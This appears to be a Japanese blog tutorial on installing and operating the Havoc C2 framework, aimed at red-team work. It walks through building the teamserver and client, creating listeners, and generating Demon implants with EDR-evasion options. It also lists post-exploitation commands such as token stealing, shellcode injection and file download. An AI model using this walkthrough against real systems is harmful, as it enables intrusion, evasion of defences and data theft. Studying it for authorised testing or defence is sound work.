Havocフレームワーク徹底解説:インストールから基本的な使い方まで

セキュリティツール

サイバーセキュリティの分野、特にレッドチームオペレーションやペネトレーションテストにおいて、C2(コマンド&コントロール)フレームワークは不可欠なツールです。近年、Cobalt StrikeやBrute Ratelといった商用ツールが有名ですが、オープンソースの代替も登場しています。その中でも注目を集めているのが、Havocフレームワークです。🎉

Havocは、@C5piderによって開発され、2022年10月に初めてリリースされた比較的新しいポストエクスプロイト(侵害後)C2フレームワークです。Go言語、C++、Qtで書かれており、「モダンで順応性の高い (modern and malleable)」ことを特徴としています。その柔軟性、カスタマイズ性、そしてWindows Defenderのようなセキュリティ製品をバイパスする能力(特に初期のバージョン)から、攻撃者・防御者双方にとって関心の高いツールとなっています。

この記事では、Havocフレームワークのインストール方法から、基本的な使い方、主要な機能について詳しく解説していきます。レッドチーム活動やセキュリティ研究、あるいは防御側の視点から脅威を理解するために、Havocについて学びたい方の一助となれば幸いです。😊

⚠️ 注意

HavocのようなC2フレームワークは、サイバーセキュリティの専門家が組織の防御力をテスト・向上させるための合法的かつ倫理的な目的で使用されるツールです。許可なく他者のシステムにアクセスしたり、悪意のある活動に使用したりすることは法律で固く禁じられています。本記事の情報は、教育および研究目的でのみ提供されるものであり、不正利用を推奨するものではありません。

Havocのアーキテクチャ概要

Havocフレームワークは、主に以下の2つのコンポーネントで構成されています。

  • Teamserver: Go言語で書かれたサーバーサイドコンポーネント。オペレーター(攻撃者役)からの接続を管理し、リスナー(待ち受け)、エージェント(Demon)からのコールバック処理、ファイルのダウンロード、スクリーンショットの取得などを担当します。設定ファイル(プロファイル)に基づいて動作し、複数のオペレーターが同時に接続して共同作業を行うことが可能です。
  • Client: C++とQtフレームワークで書かれたクロスプラットフォーム対応のGUIクライアント。オペレーターはこのクライアントを通じてTeamserverに接続し、リスナーの設定、ペイロード(Demon)の生成、感染済みホスト(セッション)へのタスク指示、結果の確認、取得した情報(Loot)の管理などを行います。インターフェースはCobalt Strikeに似ており、経験者には馴染みやすいデザインになっています。

これらに加えて、Demonと呼ばれるエージェント(インプラント)があります。これはC言語とアセンブリ言語で書かれたHavocの主力エージェントで、ターゲットシステム上で動作し、Teamserverと通信して指示を受け取ったり、情報を送り返したりします。EXE、DLL、シェルコード形式で生成可能です。

Havocの公式ドキュメントは https://havocframework.com/ で、ソースコードは https://github.com/HavocFramework/Havoc で公開されています。

インストール 🛠️

Havocのインストールプロセスは、公式ドキュメントに詳しく記載されており、比較的スムーズに行えます。ここでは、一般的なLinux環境(Debian/Ubuntu系推奨)でのインストール手順の概要を説明します。TeamserverとClientは同じホストにインストールすることも、別々のホストにインストールすることも可能です。

推奨されるOSは、Debian 10/11、Ubuntu 20.04/22.04、Kali Linuxの最新版です。

まず、HavocのGitHubリポジトリをクローンします。


git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
      

TeamserverとClientのビルドに必要な依存パッケージをインストールします。OSによって必要なパッケージや手順が若干異なります。公式ドキュメントの Installation ページで、お使いのディストリビューションに合った手順を確認してください。

例えば、Ubuntu 22.04の場合、以下のようなコマンドを実行します(Python 3.10が必要になる場合があります)。


# Ubuntu/Debian系の例 (詳細は公式ドキュメント参照)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
  mesa-common-dev libglu1-mesa-dev libgtest-dev libncurses5-dev \
  libssl-dev libsqlite3-dev libbz2-dev libreadline-dev libffi-dev \
  zlib1g-dev libelf-dev golang-go qtbase5-dev qtchooser qt5-qmake \
  qtbase5-dev-tools libqt5websockets5-dev python3.10 python3.10-dev \
  python3.10-venv nasm mingw-w64
      

💡 ヒント: Python 3.10が必要ですが、ディストリビューションの標準リポジトリに含まれていない場合があります。その際は、deadnsakes PPAを追加するなどの方法でインストールする必要があります。

Teamserverをビルドします。Go 1.18以上が必要です。


cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build
      

ビルドが成功すると、./havoc/teamserver/havoc-teamserver という実行ファイルが生成されます。

次に、GUIクライアントをビルドします。これには時間がかかることがあります。


make client-build
      

ビルドが成功すると、./havoc/havoc という実行ファイル(または環境によっては ./havoc/client/havoc)が生成されます。

これで、TeamserverとClientのビルドが完了しました。✨

基本的な使い方 🚀

まず、Teamserverを起動します。起動時には、設定を定義したプロファイルファイルを指定します。デフォルトでサンプルプロファイル (profiles/havoc.yaotl) が用意されています。


cd /path/to/Havoc/teamserver # Teamserverディレクトリに移動
./havoc-teamserver server --profile ../profiles/havoc.yaotl -v # -vで詳細ログ表示
      

Teamserverが正常に起動すると、リスニングポートや設定情報が表示されます。デフォルトプロファイルでは、ポート40056でクライアントからの接続を待ち受けます。Teamserverとの対話で作成されたデータ(ログ、ダウンロードしたファイルなど)は、Havoc/data/ ディレクトリ以下に保存されます。

プロファイル (.yaotl ファイル) では、Teamserverの待ち受けホスト/ポート、ユーザーアカウントとパスワード、デフォルトのリスナー設定などをカスタマイズできます。

次に、別のターミナルを開き、Havoc Clientを起動します。


cd /path/to/Havoc # Havocのルートディレクトリに移動
./havoc client
# または cd client; ./havoc client
      

GUIクライアントが起動し、接続画面が表示されます。「New Profile」ボタンをクリックすると、接続設定を入力するダイアログが現れます。

  • Name: 接続プロファイルの名前(任意)
  • Host: Teamserverが動作しているホストのIPアドレスまたはドメイン名(デフォルト: localhost)
  • Port: Teamserverの待ち受けポート(デフォルト: 40056)
  • User: Teamserverプロファイルで定義されたユーザー名(デフォルト: spider)
  • Password: 対応するパスワード(デフォルト: password1234)

情報を入力し、「Connect」ボタンをクリックします。認証が成功すると、Havocのメイン画面が表示されます。インターフェースは、メニューバー、ツールバー、イベントビューア、セッションビュー(エージェント一覧)、グラフビューなどで構成されています。

💡 Team Chat: メイン画面の下部にはチームチャット機能があり、同じTeamserverに接続している他のオペレーターとコミュニケーションを取ることができます。

ペイロード(Demon)からの接続を受け付けるために、リスナーを設定する必要があります。メニューバーの「View」->「Listeners」を選択するか、ツールバーのアンテナ📡アイコンをクリックします。

リスナービューの下部にある「Add」ボタンをクリックすると、リスナー設定ダイアログが表示されます。

  • Name: リスナーの名前(任意)
  • Payload: 通信プロトコルを選択します。HTTP, HTTPS, SMB, External C2などが利用可能です。
  • Hosts: Demonが接続してくるTeamserver(またはリダイレクター)のIPアドレスまたはドメイン名を指定します。「Add」ボタンで複数指定可能です。
  • Host (Bind): Teamserverが接続を待ち受けるローカルIPアドレス(通常は0.0.0.0で全てのインターフェース)
  • Port (Bind): Teamserverが接続を待ち受けるローカルポート番号。
  • Port (Conn): Demonが接続してくるポート番号。

プロトコルに応じて、User-Agent、ヘッダー、URIパス、証明書などの詳細設定も可能です。設定後、「Save」をクリックするとリスナーが起動します。イベントビューアにリスナーが開始されたログが表示されます。

🔄 リダイレクター: HostsにTeamserverとは異なるIP/ドメインを指定することで、リダイレクター(通信を中継するサーバー)を利用した構成も可能です。これにより、TeamserverのIPアドレスを隠蔽できます。

リスナーの準備ができたら、ターゲットシステムで実行するペイロード(Demon)を生成します。メニューバーの「Attack」->「Payload」を選択します。

ペイロード生成ダイアログでは、以下の項目を設定します。

  • Listener: ペイロードが接続するリスナーを選択します。
  • Architecture: ターゲットシステムのアーキテクチャ(x64 / x86)を選択します。
  • Format: ペイロードの形式を選択します。Windows Executable (.exe), Windows DLL (.dll), Shellcode (.bin), Windows Service Executable (.exe) などが選択できます。
  • Options:
    • Amsi/Etw Patch: AMSI/ETWのバイパスを試みるか。
    • Sleep Technique: スリープ時の難読化手法(Ekko, Foliage, Ziliean)。
    • Indirect Syscalls: NT API呼び出しに間接システムコールを使用するか。
    • Spoof Ret Addr: リターンアドレスのスプーフィングを行うか(x64のみ)。
    • その他、注入先プロセス(Spawn x64/x86)、スリープ時間、ジッターなどの詳細設定。

設定後、「Generate」ボタンをクリックします。生成には少し時間がかかる場合があります。完了すると、ペイロードファイルを保存するダイアログが表示されます。任意の名前で保存してください。

Havocのエージェント(Demon)は、高度な回避技術を組み込むオプションが豊富に用意されている点が特徴です。これにより、EDRなどのセキュリティ製品による検知を回避する試みが可能です。🛡️

生成したペイロードファイルをターゲットシステムに転送し、実行します。(これは、フィッシング、脆弱性の悪用、物理アクセスなど、実際の攻撃シナリオに応じた手法で行われます。)

ペイロードが正常に実行され、設定されたリスナーへの接続に成功すると、Havoc Clientのセッションビューに新しいセッション(Demon)が表示されます。アイコンが赤く点滅し、ターゲットシステムの情報(ホスト名、ユーザー名、プロセスID、IPアドレスなど)が表示されます。

セッションビューで対象のセッションを右クリックし、「Interact」を選択すると、そのエージェントとの対話コンソールが開きます。ここで様々なコマンドを実行して、ターゲットシステムを操作できます。

以下は、よく使われるコマンドの例です。

コマンド 説明
help 利用可能なコマンドの一覧や、特定のコマンドの詳細を表示します。 help
help shell
shell ターゲットシステム上でコマンドを実行します(cmd.exe経由)。 shell whoami /all
powershell ターゲットシステム上でPowerShellコマンドを実行します。 powershell Get-Process
cd カレントディレクトリを変更します。 cd C:\Users\Public
pwd カレントディレクトリを表示します。 pwd
ls カレントディレクトリ内のファイルやフォルダを一覧表示します。 ls
upload ローカル(Client側)からターゲットシステムへファイルをアップロードします。 upload /path/to/local/file.txt C:\temp\remote_file.txt
download ターゲットシステムからローカルへファイルをダウンロードします。ダウンロードされたファイルはLootビューで確認できます。 download C:\secrets\important.docx
screenshot ターゲットシステムのスクリーンショットを取得します。取得した画像はLootビューで確認できます。 screenshot
sleep エージェントのコールバック間隔(スリープ時間)を変更します。 sleep 10 5 (10秒スリープ、5秒ジッター)
token Windowsトークンを操作します(権限昇格などに利用)。 token find
token steal <PID>
token make <DOMAIN\user> <password>
execute-assembly .NETアセンブリ(EXE/DLL)をメモリ内で実行します。 execute-assembly /path/to/SharpHound.exe
shinject 指定したプロセスにシェルコードを注入します。 shinject --pid <PID> /path/to/shellcode.bin
pivot SMBリスナーを利用したピボット(横展開)を設定します。 pivot smb <ListenerName>
exit エージェントプロセスを終了させます。 exit

これらのコマンドを駆使して、情報収集、権限昇格、横展開などのポストエクスプロイト活動を行います。

Havocのその他の機能

Havocは基本的なC2機能に加えて、以下のような特徴的な機能や拡張性を持っています。

  • カスタマイズ可能なC2プロファイル: 通信の挙動(User-Agent、URI、ヘッダー、証明書など)を細かく設定でき、ネットワークトラフィックを偽装するのに役立ちます。
  • 外部C2 (External C2): サードパーティ製の通信チャネル(例: Slack, Discord, DNS)をC2通信に利用するためのインターフェースを提供します。
  • トークン保管庫 (Token Vault): 取得したWindowsトークンを管理し、再利用することができます。
  • Python API / スクリプティング: Client側でPythonスクリプトを実行し、タスクの自動化や機能拡張が可能です。
  • モジュール: コミュニティによって開発された拡張機能(Extensions)を導入できます。
  • SMB通信: SMBパイプを利用したC2通信や横展開(ピボット)をサポートします。
  • 高度な回避技術オプション: ペイロード生成時に、スリープ難読化、リターンアドレス偽装、間接システムコールなどの複数の回避技術を選択できます。

これらの機能により、Havocは非常に柔軟で強力なC2フレームワークとなっています。ただし、開発はまだ活発に行われており、将来的に機能やAPIに変更が入る可能性がある点には留意が必要です。

まとめ

Havocは、モダンな設計思想と高いカスタマイズ性を持つ、強力なオープンソースC2フレームワークです。Go、C++、C、アセンブリといった複数の言語で開発されており、クロスプラットフォーム対応のクライアントと、豊富な回避技術オプションを持つエージェント(Demon)を提供します。

インストールから基本的な使い方、ペイロード生成、エージェントとの対話まで、一通りの流れを解説しました。Cobalt Strikeなどの商用ツールに匹敵する機能を持ちながら、オープンソースであるため、レッドチームオペレーションやペネトレーションテスト、セキュリティ研究において有力な選択肢となり得ます。一方で、その能力の高さから、悪意のある攻撃者による利用も確認されており、防御側としてもその機能や特徴を理解しておくことが重要です。

Havocは活発に開発が続けられているため、最新の情報は公式GitHubリポジトリ公式ドキュメントサイトを確認することをお勧めします。このフレームワークを倫理的に活用し、サイバーセキュリティのスキル向上に役立ててください。🔒🛡️

コメント

タイトルとURLをコピーしました